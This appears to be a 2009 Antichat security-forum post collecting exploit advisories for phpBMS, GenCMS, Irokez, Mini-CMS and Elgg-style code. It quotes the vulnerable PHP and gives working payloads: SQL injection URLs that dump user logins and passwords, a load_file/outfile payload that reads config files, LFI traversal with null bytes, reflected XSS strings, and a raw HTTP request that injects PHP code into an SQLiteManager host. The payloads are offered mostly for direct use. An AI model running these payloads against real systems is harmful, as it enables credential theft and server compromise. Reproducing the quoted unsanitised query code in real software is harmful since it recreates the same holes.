ANTICHAT — форум по информационной безопасности, OSINT и технологиям

phpBMS v0.96
phpbms.org

eLwaux(c)2009, uasc.org.ua
http://phpbms.org/trial/


## ## ##
SQL Inj
-----------------------------------------------------------------------------------------------
	$querystatement="SELECT
if(discounts.type+0=1,concat(discounts.value,\"%\"),discounts.value)
                  AS value FROM discounts WHERE id=".$_GET["id"];
	$queryresult = $db->query($querystatement);
-----------------------------------------------------------------------------------------------
PoC: /modules/bms/invoices_discount_ajax.php?id=-1+union+select+concat_ws(0x3a,version(),user(),database())



## ## ##
SQL Inj
\dbgraphic.php
-----------------------------------------------------------------------------------------------
        $querystatement="SELECT ".$_GET["f"].",".$_GET["mf"]." FROM
".$_GET["t"]." WHERE id=".$_GET["r"];
	$queryresult=$db->query($querystatement);
-----------------------------------------------------------------------------------------------
PoC: \dbgraphic.php?f=concat_ws(id,login,password)&mf=1&t=users&r=1


## ## ##
SQL Inj
-----------------------------------------------------------------------------------------------
	if(isset($_GET["cmd"])){
		switch($_GET["cmd"]){
			case "show":
				showSearch($_GET["tid"],$_GET["base"],$db);
			break;
		}//end switch
-----------------------------------------------------------------------------------------------
PoC:
	/advancedsearch.php?cmd=show&tid=-1+union+select+login+from+users&base=2
	/advancedsearch.php?cmd=show&tid=-1+union+select+password+from+users&base=2


## ## ##
pXSS
-----------------------------------------------------------------------------------------------
        <form name="form1" method="post" action="<?php echo
$_SERVER["PHP_SELF"]?>">
-----------------------------------------------------------------------------------------------
PoC:
     \index.php/"><script>alert(/xss/);</script><div id="
     \modules\base\myaccount.php/"><script>alert(/xss/);</script><div id="
     \phpbms\modules\base\modules_view.php"><script>alert(/xss/);</script><div
id="
     \phpbms\modules\base\tabledefs_options.php\">{XSS}
     \phpbms\modules\base\adminsettings.php\">{XSS}


## ## ##
Path Disclosure
     /footer.php
     /header.php
     /advancedsearch.php?cmd=show&
     /choicelist.php

GenCMS
http://gencms.berlios.de/

eLwaux(c)2009

LFI
/show.php
----------------------------------------------------------------------------------------------------
18:   $param = $_GET['p'];
19:   if(empty($param)) $param = 'news';
20:          //get right page 
21:       //$page = $param.'.php';
22:	
23:    //static or dynamic
24:    if(GC_FULLSTATIC)
25:    {
26:        $page = $param.'.htm';
27:        staticpage($page);
28:    }
29:    else
30:    {
31:        $page = GC_IPATH.'_base/sites/'.$param.'.php';
32:        dynamicpage($page); 
33:    }
----------------------------------------------------------------------------------------------------
PoC: /show.php?p=../../{FILE.PHP}%00


LFI
/admin/pages/SiteNew.php
----------------------------------------------------------------------------------------------------
14:   if(!empty($_GET['step'])) $Step = $_GET['step'];
23:   if ($Step == "2")
24:   {
25:        // allgemeine settings
26:        //include blocks from template config
27:        include_once(GC_IPATH.'templates/'.$_POST['Template'].'/config.php');
28:        $TPLBlocks = explode(';',$TemplateSettings);
29:   }
----------------------------------------------------------------------------------------------------
PoC: /admin/pages/SiteNew.php?step=2& ( POST: Template=../{FILE.PHP}%00 )

http://site/sqlitemanager/main.php?dbsel=1
POST /sqlitemanager/main.php?dbsel=1 HTTP/1.1
Host: 190.161.4.211
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3,
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://site/sqlitemanager/main.php?dbsel=1&function=IF&action=modify
Cookie: PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 332
FunctName=IF&FunctType=1&FunctCode=echo+%27test%27%3B%0D%0Afunction+sqliteIf%28%24compare%2C+%24good%2C+%24bad%29%7B%0D%0A++++if+%28%24compare%29+%7B%0D%0A++++++++return+%24good%3B%0D%0A++++%7D+else+%7B+%0D%0A++++++++return+%24bad%3B%0D%0A++++%7D%0D%0A%7D&FunctFinalCode=&FunctNumArgs=3&FunctAttribAll=1&function=IF&id=1&action=save

/_css/js.php:
     33:     $viewinput['view'] = 'js/' . $_GET['js'];
     42:     require_once(dirname(dirname(__FILE__)) . '/simplecache/view.php');
/simplecache/view.php:
     26:     $view = $viewinput['view'];
     30:     if (@mysql_select_db($CONFIG->dbname,$mysql_dblink)) {
     48:         if ($simplecache_enabled || $override) {
     49:             $filename = $dataroot . 'views_simplecache/' . md5($viewtype . $view);
     51:             $contents = file_get_contents($filename);
     56:         } else {
     59:             $contents = elgg_view($view);
/lib/elgglib.php:
     237:    function elgg_view($view, ..
     317:        foreach($viewlist as $priority => $view) {
     321:                if (file_exists($view_location . "{$viewtype}/{$view}.php") &&
                             !include($view_location . "{$viewtype}/{$view}.php")) {

[+]--------------------------------------------------------------------------------------------------------------------[+]
[+]--------------------------------------------[Irokez 0.7.1 SQL inlection]--------------------------------------------[+]                                                                                                                                                                                        
[+]--------------------------------------------------------------------------------------------------------------------[+]

-[INFO]----------------------------------------------------------------------------------------------------------------[+]
[+] Title:Irokez 0.7.1 SQL inlection
[+] Autor: Ins3t
[+] Date:04.08.2009
[+]--------------------------------------------------------------------------------------------------------------------[+]

-[BUG INFO]------------------------------------------------------------------------------------------------------------[+]
[+] The vulnerability is caused by insufficient processing of select() function, which led to the SQL inj.
[+] Conditions: magic_quotes_gpc = Off
[+] Code vulnerable functions:

[+]-------------------------------------------------[COD]---------------------------------------------------------------[+]
    function select($id)
    {
        if (isset($this->_cache[$id])) {
            $data = $this->_cache[$id];
        } else {
            $data = array();
            /*
                get data
            */
        	$is_trans = in_array($this->_name.$this->_trans, $this->db->getTables());
        	if ($is_trans) {
                $query = "select t.*, m.* from {$this->_name} m"
                       . " left join {$this->_name}{$this->_trans} t on (t.{$this->_item} = m.id)"
                       . " where m.id = '$id' group by {$this->_lang}";
        	} else {
                $query = "select * from {$this->_name} where id = '$id'";
        	}
            $result = $this->db->exeQuery($query);

            $main_fields = $this->db->getFields($this->_name);
            if ($is_trans) {
                $trans_fields = $this->db->getFields($this->_name . $this->_trans);
                $trans_fields = array_flip($trans_fields);
            } else {
                $trans_fields = array();
            }
            unset($trans_fields[$this->_item], $trans_fields[$this->_lang]);
            $trans_fields = array_flip($trans_fields);
    
            $data = array();
            while ($row = mysql_fetch_assoc($result)) {
                foreach ($row as $field => $value) {
                    if (in_array($field, $main_fields)) {
                        $data[$field] = $value;
                    } elseif (in_array($field, $trans_fields)) {
                        $data[$field][$row[$this->_lang]] = $value;
                    }
                }
            }
            if (isset($data['id'])) {
                $this->_cache[$data['id']] = $data;
            }
        }
        return $data;
    }
[+]------------------------------------------------[/COD]--------------------------------------------------------------[+]

[+] Exploit:	

[+]-------------------------------------------------[COD]---------------------------------------------------------------[+]

http://localhost/cms/ru/news/7'+union+select+1,2,concat_ws(0x3a,login,pass),4,5,6,7,8,9,10,11,12+from+icm_users--+/?page=1

[+]------------------------------------------------[/COD]--------------------------------------------------------------[+]

[+]--------------------------------------------------------------------------------------------------------------------[+]
[+]--------------------------------------------[Mini-CMS 1.0.1 SQL inlection]------------------------------------------[+]  
[+]--------------------------------------------------------------------------------------------------------------------[+]

-[INFO]----------------------------------------------------------------------------------------------------------------[+]
[+] Title:Mini-CMS 1.0.1 SQL inlection
[+] Autor: Ins3t
[+] Site: www.arthacking.net
[+] Date:08.08.2009
[+]--------------------------------------------------------------------------------------------------------------------[+]

-[BUG INFO]------------------------------------------------------------------------------------------------------------[+]
[+] The vulnerability occurs due to insufficient filtering transferred database parameters. Password is not in the 
database, and in the config.php file.
[+] Conditions: magic_quotes_gpc = Off | full patch of file config.php
[+] Code vulnerable functions:

[+]-------------------------------------------------[COD]---------------------------------------------------------------[+]
<?php
$id = $_GET['id'];
database_connect();
$query = "SELECT * from content
          WHERE id = $id";                      <------(BUG)
$error = mysql_error();
if (!$result = mysql_query($query)) {
    print "$error";
	exit;
	}

while($row = mysql_fetch_object($result)){
  $content = $row->text;
  print("$content");
	}
?>
[+]------------------------------------------------[/COD]---------------------------------------------------------------[+]

[+] Exploit: 

[+]-------------------------------------------------[COD]---------------------------------------------------------------[+]

http://localhost/page.php?id=-1+union+select+1,2,3,4,load_file('[FULL_PATCH_OF_FILE_CONFIG.PHP]'),6,7,8,9+into+outfile+'[FULL_PATCH]'--+

[+]------------------------------------------------[/COD]---------------------------------------------------------------[+]

"><script>alert();</script>

[img]javascript:alert('XSS')[/img]